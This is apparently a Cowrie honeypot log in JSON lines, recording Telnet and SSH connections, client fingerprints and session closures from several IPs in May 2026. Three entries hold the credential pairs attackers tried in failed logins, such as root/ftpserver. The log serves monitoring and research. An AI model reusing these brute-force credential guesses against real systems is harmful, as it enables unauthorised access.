{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:24.338462Z","src_ip":"89.218.69.66","session":"5f204ab86aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:25.049815Z","src_ip":"89.218.69.66","session":"5f204ab86aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:26.223827Z","src_ip":"89.218.69.66","session":"5f204ab86aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.619733572006226,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:27.069032Z","src_ip":"165.232.131.181","session":"4c637cc74228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45162,"dst_ip":"10.17.0.5","dst_port":23,"session":"bef6c1bd70ca","protocol":"telnet","message":"New connection: 62.210.97.77:45162 (10.17.0.5:23) [session: bef6c1bd70ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:27.234043Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53752,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e825e29bdb0","protocol":"telnet","message":"New connection: 165.232.131.181:53752 (10.17.0.5:23) [session: 0e825e29bdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:29.381783Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37538,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ebef9b1da2a","protocol":"telnet","message":"New connection: 62.210.97.77:37538 (10.17.0.5:23) [session: 3ebef9b1da2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:30.116059Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37552,"dst_ip":"10.17.0.5","dst_port":23,"session":"896bae936e72","protocol":"telnet","message":"New connection: 62.210.97.77:37552 (10.17.0.5:23) [session: 896bae936e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:30.244732Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37564,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2cd6cbac129","protocol":"telnet","message":"New connection: 62.210.97.77:37564 (10.17.0.5:23) [session: e2cd6cbac129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:31.170713Z"}
{"eventid":"cowrie.session.closed","duration":37.89182806015015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:31.221410Z","src_ip":"62.210.97.77","session":"d48ae57e607b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73934316635132,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:32.978541Z","src_ip":"62.210.97.77","session":"371f59466ed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.55178499221802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:33.321197Z","src_ip":"62.210.97.77","session":"0550d13306b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37574,"dst_ip":"10.17.0.5","dst_port":23,"session":"90da0aa96012","protocol":"telnet","message":"New connection: 62.210.97.77:37574 (10.17.0.5:23) [session: 90da0aa96012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:33.601033Z"}
{"eventid":"cowrie.session.closed","duration":35.65551233291626,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:36.991598Z","src_ip":"65.60.27.33","session":"99938219270d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83797764778137,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:39.412433Z","src_ip":"62.210.97.77","session":"368a8720ec8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56022,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc5dccf31684","protocol":"telnet","message":"New connection: 38.54.119.93:56022 (10.17.0.5:23) [session: fc5dccf31684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:39.953233Z"}
{"eventid":"cowrie.session.closed","duration":42.30917501449585,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:41.608139Z","src_ip":"165.232.131.181","session":"66f99bd2beeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43932,"dst_ip":"10.17.0.5","dst_port":23,"session":"b65f3b42e900","protocol":"telnet","message":"New connection: 62.210.97.77:43932 (10.17.0.5:23) [session: b65f3b42e900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:42.104072Z"}
{"eventid":"cowrie.session.closed","duration":40.78477215766907,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:43.797581Z","src_ip":"165.232.131.181","session":"29301a058582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03152132034302,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:44.241011Z","src_ip":"62.210.97.77","session":"3dcdd28cbce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.525829076766968,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:44.478960Z","src_ip":"38.54.119.93","session":"fc5dccf31684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.728217124938965,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:49.406739Z","src_ip":"165.232.131.181","session":"2864abb29fa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44488,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2e198e4d68","protocol":"telnet","message":"New connection: 65.60.27.33:44488 (10.17.0.5:23) [session: cb2e198e4d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:50.368504Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43166,"dst_ip":"10.17.0.5","dst_port":23,"session":"d27120bfb8ba","protocol":"telnet","message":"New connection: 62.210.97.77:43166 (10.17.0.5:23) [session: d27120bfb8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:51.147027Z"}
{"eventid":"cowrie.session.closed","duration":34.33666753768921,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:52.099713Z","src_ip":"65.60.27.33","session":"127e4a8d0ff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4394f630b190","protocol":"telnet","message":"New connection: 62.210.97.77:43176 (10.17.0.5:23) [session: 4394f630b190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:54.968622Z"}
{"eventid":"cowrie.session.closed","duration":46.37752151489258,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:56.529372Z","src_ip":"65.60.27.33","session":"ea6c0a28bcf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.389676570892334,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:00.614145Z","src_ip":"165.232.131.181","session":"8fb33c3879c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37148,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e1801b0d28d","protocol":"telnet","message":"New connection: 165.232.131.181:37148 (10.17.0.5:23) [session: 0e1801b0d28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:03.396644Z"}
{"eventid":"cowrie.session.closed","duration":34.231027603149414,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:04.346976Z","src_ip":"62.210.97.77","session":"3ebef9b1da2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51236,"dst_ip":"10.17.0.5","dst_port":23,"session":"5928502dbb76","protocol":"telnet","message":"New connection: 62.210.97.77:51236 (10.17.0.5:23) [session: 5928502dbb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:05.445293Z"}
{"eventid":"cowrie.session.closed","duration":39.00566124916077,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:06.239516Z","src_ip":"62.210.97.77","session":"bef6c1bd70ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01007890701294,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:06.254683Z","src_ip":"62.210.97.77","session":"896bae936e72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23900818824768,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:06.409570Z","src_ip":"62.210.97.77","session":"e2cd6cbac129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48198914527893,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:07.082862Z","src_ip":"62.210.97.77","session":"90da0aa96012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40506,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcd7daa79682","protocol":"telnet","message":"New connection: 165.232.131.181:40506 (10.17.0.5:23) [session: dcd7daa79682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:09.188303Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62e858188bf","protocol":"telnet","message":"New connection: 38.54.119.93:48320 (10.17.0.5:23) [session: f62e858188bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:10.776938Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33716,"dst_ip":"10.17.0.5","dst_port":23,"session":"349df6653aa6","protocol":"telnet","message":"New connection: 62.210.97.77:33716 (10.17.0.5:23) [session: 349df6653aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:11.934942Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":39686,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2a4199c2319","protocol":"ssh","message":"New connection: 187.16.96.250:39686 (10.17.0.5:22) [session: b2a4199c2319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:12.108376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:12.113878Z","src_ip":"187.16.96.250","session":"b2a4199c2319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:12.230597Z","src_ip":"187.16.96.250","session":"b2a4199c2319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev12","message":"login attempt [dev/dev12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:12.728449Z","src_ip":"187.16.96.250","session":"b2a4199c2319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:13.848219Z","src_ip":"187.16.96.250","session":"b2a4199c2319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.71195030212402,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:16.815929Z","src_ip":"62.210.97.77","session":"b65f3b42e900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.872711420059204,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:17.254324Z","src_ip":"165.232.131.181","session":"0e825e29bdb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":42736,"dst_ip":"159.203.135.109","dst_port":22,"session":"01e63afc29e5","protocol":"ssh","message":"New connection: 89.218.69.66:42736 (159.203.135.109:22) [session: 01e63afc29e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:18.629529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:18.636875Z","src_ip":"89.218.69.66","session":"01e63afc29e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:18.816603Z","src_ip":"89.218.69.66","session":"01e63afc29e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35462,"dst_ip":"10.17.0.5","dst_port":23,"session":"1742e5541a02","protocol":"telnet","message":"New connection: 62.210.97.77:35462 (10.17.0.5:23) [session: 1742e5541a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:18.930239Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ftpserver","message":"login attempt [root/ftpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:19.551183Z","src_ip":"89.218.69.66","session":"01e63afc29e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:20.730866Z","src_ip":"89.218.69.66","session":"01e63afc29e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54840,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aafcddb0610","protocol":"telnet","message":"New connection: 65.60.27.33:54840 (10.17.0.5:23) [session: 7aafcddb0610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:24.458918Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46878,"dst_ip":"10.17.0.5","dst_port":23,"session":"700208cf41a7","protocol":"telnet","message":"New connection: 165.232.131.181:46878 (10.17.0.5:23) [session: 700208cf41a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:26.174675Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"b65ddf6acb03","protocol":"telnet","message":"New connection: 65.60.27.33:58142 (10.17.0.5:23) [session: b65ddf6acb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:27.241587Z"}
{"eventid":"cowrie.session.closed","duration":36.45753359794617,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:27.604477Z","src_ip":"62.210.97.77","session":"d27120bfb8ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69241237640381,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:30.660914Z","src_ip":"62.210.97.77","session":"4394f630b190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.77016544342041,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:32.138559Z","src_ip":"65.60.27.33","session":"cb2e198e4d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47914,"dst_ip":"10.17.0.5","dst_port":23,"session":"50f36ec14235","protocol":"telnet","message":"New connection: 62.210.97.77:47914 (10.17.0.5:23) [session: 50f36ec14235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:36.823169Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47918,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c202b8c870","protocol":"telnet","message":"New connection: 62.210.97.77:47918 (10.17.0.5:23) [session: 70c202b8c870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:36.889467Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47840,"dst_ip":"10.17.0.5","dst_port":23,"session":"2036d9819d31","protocol":"telnet","message":"New connection: 65.60.27.33:47840 (10.17.0.5:23) [session: 2036d9819d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:42.373513Z"}
{"eventid":"cowrie.session.closed","duration":38.60240721702576,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:44.047616Z","src_ip":"62.210.97.77","session":"5928502dbb76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43120,"dst_ip":"10.17.0.5","dst_port":22,"session":"7137ef84a60d","protocol":"ssh","message":"New connection: 213.209.159.158:43120 (10.17.0.5:22) [session: 7137ef84a60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:46.925670Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38334,"dst_ip":"10.17.0.5","dst_port":23,"session":"d383e4122402","protocol":"telnet","message":"New connection: 62.210.97.77:38334 (10.17.0.5:23) [session: d383e4122402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:47.464371Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44734,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b0c758ae70","protocol":"telnet","message":"New connection: 38.54.119.93:44734 (10.17.0.5:23) [session: 12b0c758ae70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:48.186258Z"}
{"eventid":"cowrie.session.closed","duration":36.522754430770874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:48.457734Z","src_ip":"62.210.97.77","session":"349df6653aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45222,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8cf903e25e5","protocol":"telnet","message":"New connection: 62.210.97.77:45222 (10.17.0.5:23) [session: d8cf903e25e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:48.700719Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54700,"dst_ip":"10.17.0.5","dst_port":23,"session":"80705e8816ee","protocol":"telnet","message":"New connection: 65.60.27.33:54700 (10.17.0.5:23) [session: 80705e8816ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:48.748640Z"}
{"eventid":"cowrie.session.closed","duration":45.63075256347656,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:23:49.027299Z","src_ip":"165.232.131.181","session":"0e1801b0d28d","protocol":"telnet"}
